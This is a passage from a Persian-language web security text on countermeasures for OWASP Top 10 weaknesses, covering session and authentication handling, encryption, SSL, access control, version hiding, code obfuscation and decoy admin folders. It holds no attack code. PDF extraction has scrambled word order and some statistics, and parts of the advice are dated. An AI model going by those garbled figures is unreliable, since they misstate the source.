MSSQLIIS استفاده مي كنيد،‏ بايد هر دو را طوري تنظيم كنيد كه جزئيات خطا را نمايشندهند.‏- ساخت يك صفحه كه در موقع رخ دادن همه نوع خطا آن را نمايش دهد:‏بدين صورت ديگرمهاجم نمي تواند از رخ دادن خطا اطلاع دقيق كسب كند و بيشتر برنامه هاي خودكار در تشخيص خطامتوقف خواهند شد.‏ براي نمونه مهاجم ديگر نمي تواند بفهمد كه يك فايل خاص روي سايت مورد نظروجود دارد يا خير.‏علاوه بر اينها با اين عمل مي توان خطاي اتفاق افتاده را ثبت كرد تا وقوع حمله ياپتانسيل وقوع حمله آشكار شود.‏1 Stack traces116

استفاده از تكنيك هاي مبهم سازي obscurity" :"security throughبراي امنيت-بدين منظور اشكال زداي برنامه را طوري تنظيم مي كنيم كه در هر حالت با وقوع هر نوع خطايي،‏مقدار ”200“كه به معني عدم رخ دادن خطا است را برگرداند.‏به اين ترتيب بسياري از برنامه هايخودكار جستجوي آسيب پذيري،‏ حتي اگر خطاي مهمي اتفاق بيفتد،‏ متوجه نخواهند شد.‏استفاده از پيغام هاي خطاي تصادفيامنيت را كمتر مي كند:‏بسياري از سازمان هاي بزرگ-براي پيگيري خطاي بهوجود آمده،‏ كاربر را به صفحه اي مي برند و يك پيغام خطاي تصادفي و واحدبه وي نمايش مي دهند.‏با اين كار گرچه نفوذگر و برنامه هاي خودكار علت وقوع خطا را نمي فهمند،‏اما به وجود آمدن خطا را مي توانند شناسايي كنند.‏HTTP 200توصيه مهم:‏مطمئن شويد كه برنامه كاربردي در صورت وقوع خطا همواره مقداريا-HTTP 302را برميگرداند.‏.7.2.4روش مقابله با:Broken Authentication and Session Managementاعتبارسنجي به يك ارتباط امن و ذخيرسازي اعتبارنامه ها نياز دارد.‏ ابتدا بايد دانست كه SSL در تمامقسمت هاي اعتبارسنجي بايد وجود داشته داشته باشدCommunications) Insecure را ببينيد)‏و اعتبارنامه ها نيز به صورت رمز شده يا درهم شده ذخيره مي شوندInsecure Cryptographic )Storageرا ببينيد).‏جلوگيري از خطاهاي اعتبارسنجي نيازمند برنامه دقيقي است كه مهمترين آنها عبارتند از:‏فقط از مكانيزمهاي دروني مديريت نشست ها استفاده كنيد:‏تحت هيچ شرايطي يك-رسيدگي كننده به نشست ثانويه نسازيد يا از آن استفاده نكنيد.‏117

يك شناسنده نشست جديد يا قبلا تنظيم شده يا غير معتبر راتوسط يك URLقبول-نكنيد:‏ چرا كه اين يك حمله است و"session fixation"-ناميده مي شود.‏براي اعتبار سنجي يا مديريت نشست ها از كوكي ها استفاده نكنيد يا آنها را محدود كنيد:‏"single-sign on"براي هدف هايي me" "rememberنظيريانبايد از روش هاي دست سازاستفاده كنيد.‏ مي توانيد از روش هاي ديگري كه ثابت شده هستند مانند1SSO هاي پيش ساخته يا--2راه حل اعتبار سنجي متحد استفاده كنيد.‏تنها از يك مكانيزم اعتبار سنجي استفاده كنيد:‏ كه اين مكانيزم بايد قوي و جامع باشد.‏ مطمئن3شويد كه اين مكانيزم به سادگي در معرض حملات كلاهبرداري و Replay attack قرار نمي گيرد.‏اين مكانيزم را خيلي پيچيده نكنيد تا خودش آسيب پذير نگردد.‏اجازه انجام فرآيند ورود را از يك صفحه غير امن و رمز نشده،‏ ندهيد:‏ هميشه فرآيند ورود رااز يك صفحه امن ثانويه با يك مشخصه نشست جديد انجام دهيد.‏با اين كار جلوي بسياري حملاتنظير دزدي اعتبار نامه يا نشست،‏ حملات كلاهبرداري و حملات session fixationكاربر به مقداري معلوم)‏ گرفته مي شود.‏‏(تعيين نشست- ساخت يك نشست جديد در صورت اعتبار سنجي موفق يا تغيير سطح مجوزها.‏گذاشتنگزينهخروج از سايت در تمامي صفحات:‏در فرآيند خروج بايد تمامي نشست هاي-سمت سرور و همچنين كوكي هاي سمت كاربر،‏ به كلي نابود شوند.‏دراين قسمت بايد به فاكتورهايانساني نيز دقت كرد تا كاربران به استفاده از گزينه خروج از سايت پس از پايان كارهايشان تشويقشوند.‏1 Single Sign-On2 Federated authentication solutions3 Spoofing118

--استفاده از مدت زمان دوام اعتبار:‏ بايد يك مدت زماني نسبتا كوتاه براي حذف نشست هاي غيرفعال در سايت وجود داشته باشد و كاربر را از برنامه خارج كند.‏استفاده از توابع قدرتمند فرعي در سيستم اعتبار سنجي:‏ همانطور كه نام كاربري و رمز عبوراعتبار يك كاربر را تعيين مي كند،‏ سوالات و پاسخ هايي كه براي فراموش كردن رمز عبور يا ريست آنپرسيده ميشود نيز اعتبار كاربر را تعيين مي كند.‏لذا توابعمربوط به آن بايد امن و قدرتمند باشند.‏همچنين براي فاش نشدن داده هاي محرمانه كاربر،‏ از روش هاي درهم سازي يك طرفه براي اينپاسخها بايد استفاده كرد.‏هيچشناسه نشست يا هر قسمت ديگر اعتبارنامه هاي معتبر را به وسيله URLيا ثبت---وقايع فاش نكنيد:‏ هيچ گاه رمز عبور يا نشست كاربر را در ثبت وقايع ننويسيد.‏هميشه رمز عبور قديمي را هنگام تغيير رمز عبور از كاربر بخواهيد و آن را بررسي كنيد.‏هيچ گاه سيستم اعتبار سنجي را بر پايه اعتبارنامه هايي كه قابل كلاهبرداري هستند قرارندهيد:‏ مانند آدرس هاي ،IP ليستDNS 1يا ،Reverse DNS صفحات ارجاعي و نظاير آن.‏در مورد فرستادن اطلاعات محرمانه به آدرس هاي ايميل ثبت شده محتاط باشيد:‏هيچگاه-2ايميل شخص را به عنوان تنها فاكتور ريست رمز عبور قرار ندهيد . از رشته هاي تصادفي كه در زمانمحدودي فعال هستند براي دسترسي به تنظيم مجدد رمز عبور استفاده كنيد.‏ توجه كنيد كه چون يككاربر مي تواند آدرس ايميل خود را تغيير دهد،‏ قبل از تغيير آن رمز عبور را از وي بخواهيد و يا يكنامه به آدرس ايميل قبلي وي براي تاييد بفرستيد.‏1 Domain Name Server/Service2 http://ha.ckers.org/blog/20061109/email-as-half-factor-authentication119

.8.2.4روش مقابلهبا :Insecure Cryptographic Storageمهمترين نكته اي كه وجود دارد اين است كه بدانيم آيا چيزهايي كه بايد رمز مي شدند واقعا رمز شده-‏اند يا خير.‏پس بايد مطمئن شويم كه رمزنگاري به درستي پياده سازي شده باشد.‏موارد زير براي-اجراي يك رمزنگاري درست توصيه مي گردد:‏هيچگاه خودتان الگوريتم هاي رمزنگاري نسازيد:‏ تنها از الگوريتم هاي تاييد شده عمومي نظيرRSA ،AESبا رمزنگاري كليد عمومي،‏SHA-256يا بهتر از اينها استفاده كنيد.‏MD5/SHA1از الگوريتم هاي ضعيف استفاده نكنيد:‏الگوريتم هايي نظيرامروزه ضعيف--محسوب مي شوند و استفاده از SHA-256 يا بهتر از آن پيشنهاد مي گردد.‏كليدها را بدون ارتباط با اينترنت تهيه كنيد و كليدهاي خصوصي را در محل امني نگهداريكنيد:‏ هيچ وقت كليدهاي خصوصي را از طريق اينترنت در كانال هاي غير امن نفرستيد.‏- وقتي از اعتبار نشست و SSL استفاده مي كنيد،‏ براي تمام طول مدت نشست بايد از آناستفاده كنيد:‏فقط حفاظت از صفحهورودي كافي نيست،‏ به دليل اينكه داده ها و اطلاعات نشستبايد رمزنگاري شده باشند.‏- از امنيت اعتبارنامه هاي زيرساخت ها نظير اعتبارنامه هاي پايگاه داده يا ساير سرويسدهنده ها اطمينان حاصل كنيد:‏اين كار را مي توانيد از طريق مجوزدهي و تعيين سطح دسترسيسختگيرانهانجام دهيد.‏البته مي توانيد با رمزنگاري امن و غير قابل بازگشايي،‏ توسط كاربر محلي يا-كاربر از راه دور،‏ نيز اين كار را انجام دهيد.‏از عدم رمزگشايي آسان داده هاي رمز شده و ذخيره شده اطمينان حاصل كنيد:‏ براي مثال،‏رمزنگاري پايگاه داده در صورتي كه راه دسترسي به پايگاه داده رمز شده نباشد بي معني خواهد بود.‏120

هيچگاه داده هاي غير ضروري را ذخيره نكنيد:‏بهترين حالت براي اينكه مهاجمان نتوانند از-داده ها استفاده كنند،‏ در كنار رمزنگاري آنها،‏ اينست كه داده هاي غير ضروري كه نفوذگر به آنها نيازدارد اما برنامه كاربردي بهآنها نياز ندارد را هيچ گاه ذخيره نكنيم.‏براي مثال هم اكنون برنامه هايكاربردي تحت وب بر طبق قانون نبايد تحت هر شرايطي عدد CVV 1روي كارت هاي اعتباري را2ذخيره كنند ..9.2.4روش مقابله با:Insecure Communicationsچندين نكته براي تنظيم درست SSLبراي يك برنامهكاربردي تحت وب وجود دارد،‏ كه به هميندليل فهميدن و تحليل كردن شرايط اهميت دارد.‏ براي مثال،‏IE 7.0 3يك نوار سبز را براي سندهايكاملا معتبر نشان مي دهد،‏ اما اين امر به تنهايي كنترل مناسبي براي اثبات استفاده امن از رمزنگارينيست:‏ازبراي تمامي ارتباطاتكه داده هاي حساس را مي فرستند استفاده كنيد:‏اينSSL--اطلاعات مي تواند شامل اعتبارنامه ها،‏ جزئيات كارت اعتباري،‏ وضعيت سلامتي و ديگر اطلاعاتخصوصي باشد.‏از ارتباط امن بين خود سرويس دهنده ها،‏ براي مثال سرويس دهنده پايگاه داده با سرويسدهنده وب،‏ اطمينان حاصل كنيد:‏معمولا اطلاعات بين سرويس دهنده ها به دليل اعتمادي كه بههم دارند از اهميت بالايي برخوردار بوده و بايد كاملا امن شوند.‏1 Card Verification Value2 PCI Data Security Standard v1.1, https://www.pcisecuritystandards.org/pdfs/pci_dss_v1-1.pdf3 Internet Explorer 7.0121

- تمامي ارتباطات روي سرويس دهنده هايي كه با مشتريان كارت هاي اعتباري سر و كار1دارند هم اكنون بايد طبق قانون امن باشند:‏ به همين دليل تمامي كاربران،‏ كارمندان و مديران اينسيستم ها بايد از ارتباطات امن استفاده كنند.‏- يكي از روش هاي مقابله با استراق سمع هاي مستقيم،‏ استفاده كردن از نام هاي نامربوطSSLبراي فرستادن اطلاعات به سرويس دهنده است:‏سايت هايي كه ازهم استفاده مي كنندمي توانند هدف استراق سمع با SSL هاي جعلي قرار بگيرند و اگر كاربر اعتبار SSL را نديده بگيرد،‏به راحتي در معرض اين حمله قرار مي گيرد.‏از آنجايي كه در نتيجه استراق سمع هاي شبكه معمولااطلاعات بسيار زيادي به دست مي آيد،‏ نفوذگران معمولا به دنبال مقادير رشته هاي پركاربرد نظيرو مانند آنها در بسته هاي HTTPمي گردند و ازUserID ،Username،Passwd،Passwordباقي صرف نظر مي كنند.‏ همچنين اگر مهاجمان سايت خاصي را هدف گرفته باشند،‏ نام مقادير ارساليآن را به ابزار هاي خود مي دهند تا مقادير ارسالي را از بين بسته ها پيدا كند.‏ حال اگر برنامه كاربرديتحت وب از نام هايي براي ارسال مقادير خود استفاده كند كه با هر بار بازتازه كردن صفحه تغيير كنندو معناي خاصي نيز نداشته باشند ‏(مثلq12ee22كاربران خود را از حملات مستقيم استراق سمع مصون بدارد.‏به جاي فيلد ،(Username مي تواند تا حد زيادي.10.2.4روش مقابله با:Failure to Restrict URL Accessبايد زمان بگذاريد و ماتريسي از دسترسي هاي اشخاص يا نقش ها به توابع يا فايل هاي برنامه كاربرديتحت وب تهيه كنيد،‏ چرا كه اين يك قدم كليدي براي رفع اين آسيب پذيريست.‏ برنامه كاربردي تحتوب بايد دسترسي ها را با هريا اجرا شدن توابع،‏ بررسي كند.‏صحيح نيست كه كنترل هايURL1 PCI Data Security Standard v1.1122

-دسترسي را در لايه نمايش بگذاريم و منطق برنامه را بدون حفاظت رها كنيم.‏ همچنين،‏ تنها يك دفعهبررسي درست نيست،‏ بلكه بايد در هر بار تقاضاي دسترسي به يك فايل يا تابع،‏ دسترسي كاربر كنترلشود.‏ به عبارت ديگر اينطور نبايد باشد كه در فايل هاي ترتيبي مهاجم بتواند به دومين فايل بدون نيازبه كنترل دسترسي وارد شود،‏ به اين دليل كه تنها در فايل اول دسترسي ها كنترل مي شوند.‏براي جلوگيري از اين آسيب پذيري و ايجاد كنترل هاي دسترسي بايد به موارد زير توجه داشت:‏اطمينان از اينكه ماتريس كنترل هاي دسترسي،‏ بخشي از منطق،‏ معماري و طراحي برنامهكاربردي تحت وب است.‏اطمينان از اينكه تماميURLها و توابع برنامه با مكانيزم هاي كنترل دسترسي موثر،‏-حفاظت شده اند:‏كه به نقش كاربر و پردازشي كه بايد صورت بپذيرد رسيدگي مي كنند.‏مطمئن-شويد كه اين عمل در هر مرحله انجام مي شود و نه فقط در اول يك پردازش چند مرحله اي.‏1يك آزمون نفوذ اجرا كنيد:‏ پيش از برپاسازي يا تحويل دادن كدها،‏ براي اطمينان از عدم آسيب-‏پذيري برنامه توسط يك نفوذگر حرفه اي،‏ خود آزمون هاي نفوذ عليه برنامه كاربردي تحت وب را اجراكنيد.‏-توجه خاصي به فايل هاي كتابخانه اي داشته باشيد:‏ مخصوصا وقتي اين فايل ها پسوندهاي قابلاجرايي نظيردارند.‏ASP اگر امكان دارد بايد آنها را از قسمتي كه از طريق وب در دسترس هستند،‏خارج كرد.‏همچنين بايد بررسي كرد كه آيا دسترسي مستقيم به آنها مي تواند خطرناك باشد يا نه.‏افتاد.‏بهترين كار اين است كه اين فايل ها فقط شامل توابع و روال ها و مانند اينها باشند كه نياز به صداكردن داشته باشند؛ با اين كار اگر اين فايل ها مستقيما مورد دسترسي قرار بگيرند،‏ هيچ اتفاقي نخواهد1 Penetration test123

-هيچ گاه تصور نكنيد كه كاربران از آدرس هاي URLهاي مخفي يا خاص،‏ بي خبر هستند:‏هميشه تمامي فايل ها را براي دسترسي بررسي كنيد.‏- جلوي اجراي انواع ديگر فايل ها كه در برنامه يا سايت شما مورد استفاده نيستند را بگيريد:‏به صورت ايدهآل اين فيلتر بايد از سبك"Accept known good"زبان ASPجلوي دسترسي به ساير پسوندها نظير.log ،.xml ،.aspx ،.phpاستفاده كند و در يك سايت بهو مانند اينها را بگيرد.‏در نهايت بايد مراقب باشيد كه در سايت خود نسخه پشتيبان از فايل هاي برنامه،‏ فايل هاي مهم حاوياطلاعات قابل دريافت و مانند اينها را قرار ندهيد و اگر مي خواهيد اين كار را انجام دهيد بايد اين فايل-‏ها بدون كنترل دسترسي قابل دريافت نباشند.‏هميشه ويروسكش ها وديوار آتش و سرويس دهنده خود را به روز نگه داريد:‏با اين كار-جلوي اجراي سو استفاده هاي احتمالي آشكار شده از سرويس دهنده و برنامه كاربردي تحت وب تا حدزيادي گرفته مي شود.‏.3.4روش هاي مقابله با مراحل حمله از طريق دشوار سازي عمليات نفوذ:‏همانطور كه در فصل قبل گفته شد،‏ اگر بتوانيم در حين مرحله اساسي حمله اخلال ايجاد كنيم،‏خواهيم توانست سرعت كار نفوذگران را كندتر و كار آنها را دشوارتر كنيم و بدين ترتيب امنيت بيشتريرابه برنامه و سايت خود ببخشيم.‏پس در اينجا روش هاي اخلال در اين دو مرحله را از طريق خودبرنامه هاي كاربردي تحت وب بيان مي كنيم.‏گفتنيست چندين روش اخلال در روش هاي خودكار شناسايي و حمله در قسمت قبل گفته شد كه دراينجا ديگر به آنها اشاره نخواهيم كرد.‏124

-1.3.4. دشوار سازي عملياتشناسايي:‏همان طور كه در فصل قبل ديديد پيدا كردن نام فايل ها و پوشه ها،‏ برنامه هاي كاربردي و تكنولوژيهاي مورد استفاده و نسخه هاي آنها اهداف مرحله شناسايي هستند.‏با اجراي مراحل زير مي توانيد عمليات شناسايي را با مشكل جدي روبرو كنيد:‏تغيير دادن تمامي پيش فرض هاي موجود در برنامه هاي كاربردي كه از آنها در برنامه استفاده شدهاست.‏نظير نسخه،‏ نام برنامه،‏ امضاهاي افراد يا شركت سازنده و مانند آنها و همچنين حذف تصاويرپيش فرض و بلااستفاده،‏ لوگوهاي تجاري افراد يا شركت سازنده،‏ فايل هاي راهنما نظير readmeها وproxyفايل هاي بلااستفاده.‏بعد از انجام اين كارها،‏ بايد با ابزارهايكه قبلا گفته شده،‏ اقدام بهفرستادن و گرفتن اطلاعات از برنامه كنيد تا مطمئن شويد ديگر الگوييبراي شناسايي نام برنامهكاربردي و نسخه مورد استفاده وجود ندارد.‏حال اگر مي توانيد كه در شكل ظاهري برنامه تغييراتجدي بدهيد،‏ بايد اين كار را نيز انجام دهيد.‏در واقع با اين كارها احتمال شناسايي برنامه كاربردي-تحت وب مورد استفاده و نيز نسخه موجود را بسيار پايين مي آوريد.‏تغيير دادن پسوند فايل ها به يك مقدار ديگر و اعمال تنظيمات در سرويس دهنده.‏ كه باعث مي شودتكنولوژي مورد استفاده تا حد زيادي براي صفحات ASPو JSPمخفي بماند.‏ همچنين استفاده از نام-‏ها و عواملي كه باعث شود با تكنولوژي ديگر اشتباه گرفته شوند.‏مثلا براي اشتباه گرفته شدن با.Net تكنولوژيمي توان از فرم هايي با داشتن مقدار“__VIEWSTATE”در ورودي هاي خود بهصورت مخفي استفاده كرد.‏توجه داشته باشيد كه تغيير پسوندها بعضي اوقات خود باعث آسيب پذيرشدن برنامه در مقابل حملاتي مانند فاش شدن كدهاي منبع مي گردد،‏ پس در استفاده از اين موردبايد دقت كافي به عمل بيايد.‏125

در بخش مربوط به مقابله Information Leakage and Improper Error Handlingبا--مطالبي گفته شد كه در اينجا نيز همگي بايد رعايت شوند.‏با اينكه بحث ما در مورد برنامه هاي كاربردي تحت وب است اما از آنجايي كه اين مورد با مبحث مادر ارتباط است،‏ آن را بيان مي كنيم:‏خود سرويس دهنده هاي وبIIS يا مثل Apache1در سرنامهارسالي خود به طرف كاربر اطلاعات مهمي نظير شماره نسخه ها را فاش مي كنند كه بايد با تنظيمصحيح آنها نه تنها اطلاعات درست از سرويس دهنده به سمت كاربر نفرستاد،‏ بلكه داده هاي جعلي وغلط در مورد سرويس دهنده به طرف كاربر نيز ارسال كرد.‏در كنار اين،‏ حذف پوشه ها و فايل هاي-پيش فرض در خود سرويس دهنده بايد انجام پذيرد چرا كه خود ممكن است باعث دادن اطلاعات و ياوقوع آسيب پذيري ديگري گردد.‏سعي كنيد نام فايل ها و پوشه ها را طوري انتخاب كنيد كه قابل حدس زدن نباشند.‏ براي مثال ميتوانيد از درهم شده MD5نام آنها با يك كليد محرمانه استفاده كنيد.‏اگرچه اين كار شناسايي راتقريبا غير ممكن مي سازد،‏ اما كار برنامه نويس را هم بسيار دشوار خواهد كرد و احتمال ثبت درموتورهاي جستجو نظير Googleرا نيز كاهش مي دهد.‏لذا مي توانيد از اين روش فقط براي پوشههاي مديريتي استفاده كنيد.‏ روش ديگر در همين حيطه مي تواند به اين شكل باشد كه پوشه ها و نامفايل ها طولاني ولي با معني باشد اما شيوه دسترسي به آنها فقط از طريق يك صفحه به شكل زيرممكن باشد:‏/index.jsp?pageid={xxxx-xxxx-xxxx-xxxx}&NewsID=10= فايل اصلي/News_RandomNumber/CompanyName_News_RandomNumber_Show.jsp1 Header126

در اينجا توسط يك ماتريس از قبل تعريف شده،‏ {xxxx-xxxx-xxxx-xxxx}به نام صفحه اشارهمي كند.‏در اين صورت كار براي برنامه نويس آسان تر شده،‏ اما براي مهاجم همچنان سخت باقي ميماند.‏با گمراه كردن نفوذگران و تلفكردن زمان آنها،‏ هم از وقوع حمله با خبر مي شويد و هم تا حد-زيادي عمليات نفوذ را به تعويق مياندازيد.‏براي گمراه كردن نفوذگران،‏ مي توان از پوشه هايي كهنفوذگران همواره در ابتدا به دنبال آنها هستند،‏ استفاده كرد.‏ بعضي از اين نام ها به صورت زير هستند:‏/admin/, /admin/db/, /admin/logs/, /database/, /editor/, /statistic/, /backup/,/admin/uploader/, /admin/filemanager/, /admin/users/, /cpanel/, /ftp/, …با تفكر بيشتر مي توان نام هاي ديگري نيز با توجه به كلمات مهم متداول پيدا كرد.‏ با ساختن اينپوشه ها به صورت خالي وجعلي،‏ زمان بسياري از نفوذگران تلف مي شود.‏حتي مي توان پوشه اي بههمراه فايل هاي جعلي،‏ فقط به منظور ذخيره حركات نفوذگر درست كرد.‏براي مثالوجود داشته باشد،‏ اما همواره پيغام خطاي‏"نام كاربري يا رمز عبور صحيح/admin/login.asprobots.txtنيست"‏را برگرداند و حركات نفوذگر را ذخيره كند.‏در اين راه،‏ فايلبا نيز مي تواند-راهنمايي كردن نفوذگر به بعضي از اين پوشه ها گمراه كند.‏سرويس دهنده وب و برنامه كاربردي خود را طوري تنظيم كنيد كه در صورت بررسي نام فايل ها وپوشه ها در پوشه هاي موجود،‏وقتي كه خطايي رخ مي دهد‏(مثلا وقتي وجود ندارند)،‏ همواره همانصفحه آخري را نمايش دهد كه در آن خطايي رخ نداده است و يا اينكه يك صفحه تصادفيدر سايتنمايش داده شود.‏ براي مثال فرض مي كنيم كه مهاجم در پوشه زير مي خواهد به دنبال نام فايل ها وساير پوشه ها بگردد:‏/news/127

و از آنجايي كه نفوذگر قبلا به اين پوشه سر زده و index.jspرا مروركرده است،‏ حال كه پوشه هايزير كه وجود ندارند يا ممنوع هستند را مرور مي كند بازهم برايش صفحهزده شده نمايش داده مي شود بدون آنكه پيغام خطا يا تغيير مسير دريافت كند:‏index.jspدر همان آدرس/news/admin//news/test/با اين عمل تمام جستجوگرهاي خودكار از كار خواهند افتاد و حدس زدن نام پوشه ها و فايل هابرايشان غير ممكن مي شود.‏در عين حال،‏ مهاجمان به صورت دستي نيز با مشكلات زيادي نظيرمحدوديت زمان روبرو مي شوند.‏- توجه داشته باشيد با تركيب روش هاي بالا با هم خواهيد توانست برنامه كاربردي خود را تا حدزيادي از حمله مهاجمان مصون نگه داريد.‏ در كنار اين اگر سيستم ثبت وقايع براي يك برنامه كاربردييا وب سايت وجود داشته باشد،‏ مي توان از وقوع حمله مطلع شد.‏2.3.4. دشوار سازي عملياتخواندن كدها و استفاده از آسيب پذيري ها:‏هميشه نمي توان نام فايل ها و پوشه هاي برنامه كاربردي وب را مخفي نگه داشت،‏ چرا كه اكثر برنامههاي كاربردي تحت وب تنها براي يك جاي خاص نوشته نمي شوند و در بسياري جاهاي ديگر نيز نصبمي شوند و ممكن است در دسترس عموم نيز قرار گيرند.‏ پس ديگر برنامه كاربردي تحت وب از حالتجعبه سياه خارج مي شود،‏ و در اين حالت نفوذگران مي خواهند آسيب پذيري ها را به صورت جعبهسياه و جعبه سفيد پيدا كنند.‏اگر برنامه در حالت جعبه سياه آسيب پذيري از خود نشان ندهد،‏مهاجمان حرفه اي به سراغ كدهاي برنامه خواهند رفت.‏در اين حالت راه هايي وجوددارد كه بتوانيمصفحاتوJSP را از خوانده شدن مصون نگه داريم و خواندن آنها را سخت و حتي غير ممكنASPكنيم:‏128

براي اينكه خوانايي كدها را پايين بياوريم كافيست از ابزارهاي Obfuscationبراي ناخوانا كردن-آنها استفاده كنيم.‏اين ابزار ها نام تمامي متغيرها به همراه توابع را به عباراتي بي معني نظيرz433341 تغيير داده و خود با ايجاد توابع و متغيرهاي اضافي خوانايي برنامه را بسيار كاهش ميدهند.‏-در سرويس دهنده هايي كه امكان استفاده از.dllها را داشته باشيم مي توانيم كدهاي زبان ASP را.dllObjectبه فايل هاي .dllكه به صورت كدهاي باينري هستند تبديل كنيم و با ساختنازساخته شده،‏ توابع برنامه خود را به راحتي اجرا كنيم.‏نكته اين كار اينجاست كه براي انجام اين كاركدهاي زبان ASP(VBScript)نخواهند بود.‏ به همين منظور نويسنده اين پروژه برنامه اي به نامCD ضميمه موجود است و با آن مي توان به راحتي كدهايبايد از كدهاي HTML جدا شده باشند وگرنه قابل تبديل به.dllASP TemplateVBScriptتهيه كرده كه دررا از HTML جدا كرد.‏ اينبرنامه بدين صورت كار مي كند كه فايل هاي HTMLجداگانه به صورت قالبي ذخيره مي شوند وHTMLفايل هاي ASPفايل هايمربوط به خود را پر مي كنند.‏اين برنامه برپايه يك برنامه1قديميكد باز نوشته شده كه كارايي و زمان اجراي آن به شدت بهبود يافته است و ويژگي هايزيادتري نيز،‏ نظير فشرده كردن كدهاي خروجي،‏ به آن اضافه شده است.‏4.4. خلاصه فصل:‏در اين فصل روش هاي مقابله با آسيب پذيري هاي وب را بررسي كرديم و براي تمامي آسيب پذيريهاي مهم راه حل هاي كليدي ارائه شد.‏ اين آسيب پذيري ها همان هايي بودند كه در فصل دوم تعريفو شرح داده شده بودند.‏ ذكر اين نكته دوباره اهميت دارد كه هيچ وسيله اي مانند ديوارآتش و مانند آننخواهد توانست جلوي تمامي حملات نفوذگران روي سايت ها را بگيرد.‏ همانطور كه اشاره شد مي توان1 http://www.codeproject.com/KB/asp/asptemplate.aspx129

كار نفوذگر را سخت كرد،‏ اما اگر برنامه آسيب پذير باشد بالاخره در هم مي شكند و فقط زمان نفوذطولاني تر مي شود.‏پس اگر در اين مدت كدهاي نوشته شده را مجددا بررسي نكنيم ممكناستنفوذگران سريع تر از ما پي به آسيب پذيري ها ببرند.‏بهترين روش تامين امنيت آن است كه برنامه نويسان وب با تمام آسيب پذيري ها آشنايي داشته باشند.‏چرا كهيك برنامهكاربرديتحت وب،‏اساسا خودش بايد امن و حفاظت شده باشدواين كار تنها بابرنامه نويسي صحيح ممكن است.‏.5.4منابع فصل:‏1. Stuttard Dafydd, Pinto Marcus, "The Web Application Hacker's HandbookDiscovering and Exploiting Security Flaws", Wiley Publishing Inc., 20082. Open Web Application Security Project, http://www.owasp.org3. Checklist: ASP Security (IIS 6.0),http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/27043ff9-b319-4ad6-b530-a7ddfd8fcff3.mspx?mfr=true4. PCI Data Security Standard v1.1, https://www.pcisecuritystandards.org/5. http://ha.ckers.org/130

5. خلاصه كل مطالب:‏امروزه اگر اهميت امنيت وب بيشتر از امنيت شبكه نباشد،‏ كمتر از آن نيست.‏چرا كه روز به روز برتعداد وب سايت ها افزوده مي شود،‏ كاربران اينترنت بيشتر مي شوند و سازمان هاي بيشتري خدماتخود را از طريق وب ارائه مي دهند و اين در حاليست كه درخواست هاي پروتكل HTTP/Sازديوارهايآتش عبور كرده و كاملا مجاز تلقي مي شوند و اگر آسيب پذيري اي در وب وجود داشتهباشد،‏ علاوه بر شبكه داخلي،‏ كاربران نيز در معرض خطر جدي قرار مي گيرند.‏ در واقع امنيت يك حلقهزنجير است كه قدرت آن به اندازه ضعيف ترين حلقه اين زنجير است؛ و سرويس دهنده وب نيز حلقهاي مهم در اين زنجير است.‏ ميزان آسيب پذيري برنامه هاي كاربردي تحت وب همچنان بالاست و هرروز چندين برنامه آسيب پذير معرفي مي گردند و همچنين آسيب پذيري هاي جديد با تكنولوژي هايجديد نيز دائما پديدار مي شوند.‏ اين در حالي صورت مي گيرد كه اگر برنامهنويسان و توسعه دهندگانبرنامه هاي كاربردي تحت وب از آسيب پذيري ها و نحوه مقابله با آنها اطلاع داشتند،‏ مي توانستندجلوي حملات شناخته شده عليه وب را به وسيله كدهايشان بگيرند.‏ميزان آسيب پذيري ها و حملات برنامه هاي كاربردي تحت وب بسيار زياد است،‏ اما آگاهي از 10آسيب پذيري مهم و جلوگيري از آنها كافيست تا برنامه اي با ضريب امنيت بالا به وجود بيايد.‏گفتنيست امروزه بيشتر سايت ها در مقابل حملاتي كه روي كاربران ديگر اثر مي گذارند آسيب پذيرند.‏حمله عليه برنامه هاي كاربردي تحت وب يا وب سايت ها به طور خلاصه از دو مرحله شناسايي و يافتنآسيب پذيري ها تشكيل شده است.‏ كه آسيب پذيري ها در دو حالت جعبه سياه و جعبه سفيد بررسيمي شوند.‏ در حالت جعبه سياه كدهاي برنامه در دسترس نيستند و بررسي آسيب پذيري ها از راه دورانجام مي گردد.‏ براي يافتن آسيب پذيري ها در كد برنامه،‏ كافيست با زبان آن برنامه آشنايي داشت و131

نشانه هاي آسيب پذيري را نيز شناخت و به صورت ساختار يافته يا با الگوريتمي مشخص به دنبالآسيب پذيري ها بود.‏براي امن سازي كدهاي برنامه نيز براي هر آسيبپذيري نكات امنيتي مانند كنترل ورودي هاي كاربر ويا كنترل هاي دسترسي و مانند آن،‏ بسته به نوع آسيب پذيري،‏ وجود دارد.‏راه هاي مقابله در برخيآسيب پذيري ها باهم مشتركند؛ كه اگر اين نكته امنيتي مشترك پياده سازي گردد،‏ جلوي يك دستهاز آسيب پذيري ها گرفته مي شود.‏ همچنين بايد مسائلي را كه به اشتباه براي امن سازي استفاده ميشود،‏ شناخت و از انجام آن ها پرهيز كرد.‏ استفاده از راهكارهاي پيشگيرانه،‏ جهت دشوار نمودن راه نفوذكه باعث اخلال در دو مرحله اساسي حمله مي شود نيز قويا توصيه مي شود،‏ چرا كه شايد با اين كاربرنامه نويس بتواند سريع تر از نفوذگران آسيب پذيري ها را پيدا كرده و آن ها را برطرف كند.‏132

يهاياريها.6پيشنهادات:‏هم اكنون،‏وب سايت هاي بسياري با زبان هاي گوناگون وجود دارند كه از لحاظ امنيتي در وضعيتنامعلومي قرار دارند و خواندن دوباره كدهاي آنها بسيار سخت تر از ساخت دوباره آنهاست.‏ همانطور كهقبلا نيز گفته شد،‏ آمارها نشان مي دهد بطور متوسطو پيدا كردن هر كدام از اين ايرادات بينايراد در هر 15 تا 51000تا 21خط كد وجود دارد29 ساعت زمان مي برد . بنابراين خواندن تمام كدهاي يكسايت براي پيدا كردن آسيب پذيري ها توسط انسان كاري بسيار زمان بر است،‏ ضمن اينكه نمي تواناز خطاهايانسانيكه همواره وجود دارند چشم پوشيكرد.‏همچنين حجم آسيب پذيريهاي منتشرشده در هر سال به حدي است كه مطالعه سالانه آنها مي تواند در بهترين حالت بيشتر ازساعت 70043طول بكشد . علاوه بر بحث زمان،‏ ارائه وصله ها خود عملياتي هزينه بر بوده و شركت ها متحمل هزينههاي سنگين جهت ارائه و گسترش وصله ها5مي شوند .امروزه اكثر برنامه هايپيداكننده آسيبپذيريبرنامه هايكاربرديتحت وب،‏ به صورتجعبه6سياه ‏(و صرف نظر از كدهاي منبع)‏ عمل مي كنند.‏ در نتيجه بسياز آسيب پذيريبرنامه هايكاربردي تحت وب پنهان مانده و در صورت 